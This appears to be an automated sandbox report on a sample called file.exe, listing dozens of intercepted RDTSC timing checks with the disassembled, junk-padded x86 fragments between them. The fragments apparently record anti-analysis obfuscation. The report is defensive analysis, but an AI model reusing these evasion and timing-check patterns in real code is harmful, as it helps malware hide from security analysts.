Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2827F second address: A28304 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F29B559C4B8h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 xor bx, 7873h 0x00000028 sub dword ptr [ebp+122D3C2Ah], esi 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007F29B559C4B8h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 0000001Bh 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a mov edi, edx 0x0000004c mov dword ptr [ebp+122D2FABh], edx 0x00000052 push 00000000h 0x00000054 and ebx, dword ptr [ebp+122D2DD2h] 0x0000005a xchg eax, esi 0x0000005b jmp 00007F29B559C4C3h 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28304 second address: A2830B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28512 second address: A2851B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29654 second address: A29658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2851B second address: A2851F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A3C6 second address: A2A3CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29658 second address: A29662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A3CD second address: A2A40F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F29B51F62CFh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d or dword ptr [ebp+122D2AD4h], edi 0x00000013 popad 0x00000014 jc 00007F29B51F62C6h 0x0000001a push 00000000h 0x0000001c sbb bx, 230Dh 0x00000021 mov di, 553Dh 0x00000025 push 00000000h 0x00000027 jl 00007F29B51F62C6h 0x0000002d push eax 0x0000002e ja 00007F29B51F62D4h 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A40F second address: A2A413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B451 second address: A2B455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A548 second address: A2A54C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B455 second address: A2B45B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A54C second address: A2A555 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C248 second address: A2C24E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C24E second address: A2C254 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D2D7 second address: A2D2DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D2DC second address: A2D302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B559C4C4h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jc 00007F29B559C4C4h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D302 second address: A2D306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A300AC second address: A300C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C4FD second address: A2C501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E4B0 second address: A2E4B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A300C9 second address: A300D8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C501 second address: A2C507 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A300D8 second address: A30133 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edi, dword ptr [ebp+122D2C9Ah] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F29B51F62C8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c mov bl, dh 0x0000002e push 00000000h 0x00000030 pushad 0x00000031 jbe 00007F29B51F62C8h 0x00000037 mov ch, bl 0x00000039 xor eax, 1462FA00h 0x0000003f popad 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 push edx 0x00000046 pop edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C507 second address: A2C50D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A30133 second address: A3014D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C50D second address: A2C511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A303B6 second address: A303BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A312A9 second address: A312D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 jmp 00007F29B559C4C7h 0x0000000b pop edi 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F29B559C4B6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A320DE second address: A32159 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F29B51F62CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jc 00007F29B51F62CAh 0x00000011 push esi 0x00000012 pushad 0x00000013 popad 0x00000014 pop esi 0x00000015 nop 0x00000016 sub ebx, dword ptr [ebp+122D2F5Eh] 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007F29B51F62C8h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000016h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebp 0x0000003d call 00007F29B51F62C8h 0x00000042 pop ebp 0x00000043 mov dword ptr [esp+04h], ebp 0x00000047 add dword ptr [esp+04h], 0000001Ah 0x0000004f inc ebp 0x00000050 push ebp 0x00000051 ret 0x00000052 pop ebp 0x00000053 ret 0x00000054 jc 00007F29B51F62CAh 0x0000005a mov bx, BF78h 0x0000005e xchg eax, esi 0x0000005f push eax 0x00000060 push edx 0x00000061 jng 00007F29B51F62CCh 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32159 second address: A3215D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A312D2 second address: A31386 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F29B51F62CBh 0x0000000e popad 0x0000000f nop 0x00000010 and ebx, 3CE544CBh 0x00000016 push dword ptr fs:[00000000h] 0x0000001d or edi, dword ptr [ebp+122D2BA6h] 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a push 00000000h 0x0000002c push ecx 0x0000002d call 00007F29B51F62C8h 0x00000032 pop ecx 0x00000033 mov dword ptr [esp+04h], ecx 0x00000037 add dword ptr [esp+04h], 00000018h 0x0000003f inc ecx 0x00000040 push ecx 0x00000041 ret 0x00000042 pop ecx 0x00000043 ret 0x00000044 jnc 00007F29B51F62C9h 0x0000004a mov edi, dword ptr [ebp+122D2BD2h] 0x00000050 mov eax, dword ptr [ebp+122D0C75h] 0x00000056 mov bx, di 0x00000059 push FFFFFFFFh 0x0000005b push 00000000h 0x0000005d push eax 0x0000005e call 00007F29B51F62C8h 0x00000063 pop eax 0x00000064 mov dword ptr [esp+04h], eax 0x00000068 add dword ptr [esp+04h], 00000017h 0x00000070 inc eax 0x00000071 push eax 0x00000072 ret 0x00000073 pop eax 0x00000074 ret 0x00000075 mov ebx, dword ptr [ebp+122D2CEAh] 0x0000007b sbb bx, 6C44h 0x00000080 push eax 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007F29B51F62CEh 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3215D second address: A32163 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32163 second address: A32167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32167 second address: A3217E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F29B559C4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jo 00007F29B559C4C9h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33320 second address: A33337 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F29B51F62CCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3229F second address: A322AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F29B559C4B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A322AA second address: A322C5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jns 00007F29B51F62C6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F29B51F62CCh 0x00000015 jp 00007F29B51F62C6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36B01 second address: A36B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9075 second address: 9C9080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F29B51F62C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9080 second address: 9C908F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E1F9 second address: A3E1FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E1FD second address: A3E201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E479 second address: A3E487 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62CAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E487 second address: A3E4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F29B559C4CFh 0x0000000c jmp 00007F29B559C4C3h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40C0C second address: A40C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40C10 second address: A40C14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44E96 second address: A44EC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jnp 00007F29B51F62CEh 0x00000013 push edi 0x00000014 jnp 00007F29B51F62C6h 0x0000001a pop edi 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f js 00007F29B51F62CCh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44EC6 second address: A44EE1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F29B559C4B8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jg 00007F29B559C4C0h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A450EE second address: A450F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B006 second address: A4B019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B559C4BFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49CF6 second address: A49CFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49CFE second address: A49D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49D04 second address: A49D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A823 second address: A4A83A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F29B559C4C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A9B4 second address: A4A9D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F29B51F62D9h 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A9D3 second address: A4A9D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A9D9 second address: A4AA20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F29B51F62D1h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F29B51F62DDh 0x00000015 jmp 00007F29B51F62CFh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4AB8D second address: A4ABCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B559C4BBh 0x00000009 popad 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F29B559C4C5h 0x00000012 jmp 00007F29B559C4C2h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4ABCC second address: A4ABEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4ABEC second address: A4ABF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4DD5F second address: A4DD74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F29B51F62C6h 0x0000000a popad 0x0000000b push edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4DD74 second address: A4DD78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4A79 second address: 9D4A8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnl 00007F29B51F62C6h 0x0000000c jns 00007F29B51F62C6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4A8C second address: 9D4AB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 ja 00007F29B559C4B6h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push ecx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007F29B559C4C2h 0x00000016 pop ecx 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push esi 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57307 second address: A5730D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5730D second address: A5732D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C5h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5732D second address: A5733A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5733A second address: A57340 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57340 second address: A57345 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A574BF second address: A574C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A574C3 second address: A574D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F29B51F62C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57616 second address: A5761A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5761A second address: A5762E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F29B51F62CEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5762E second address: A57636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A578FD second address: A57927 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F29B51F62C6h 0x00000008 jmp 00007F29B51F62D8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnc 00007F29B51F62C8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57927 second address: A57940 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F29B559C4C2h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57940 second address: A57946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57946 second address: A57971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F29B559C4C8h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jc 00007F29B559C4C4h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57ADB second address: A57AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57AE0 second address: A57AEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F29B559C4B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57AEC second address: A57B0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F29B51F62D3h 0x0000000f jbe 00007F29B51F62C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57DD4 second address: A57DD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57F2A second address: A57F52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F29B51F62D5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 jnc 00007F29B51F62C6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57F52 second address: A57F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A583D7 second address: A583FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F29B51F62CFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c jl 00007F29B51F62DAh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jng 00007F29B51F62C6h 0x0000001c rdtsc
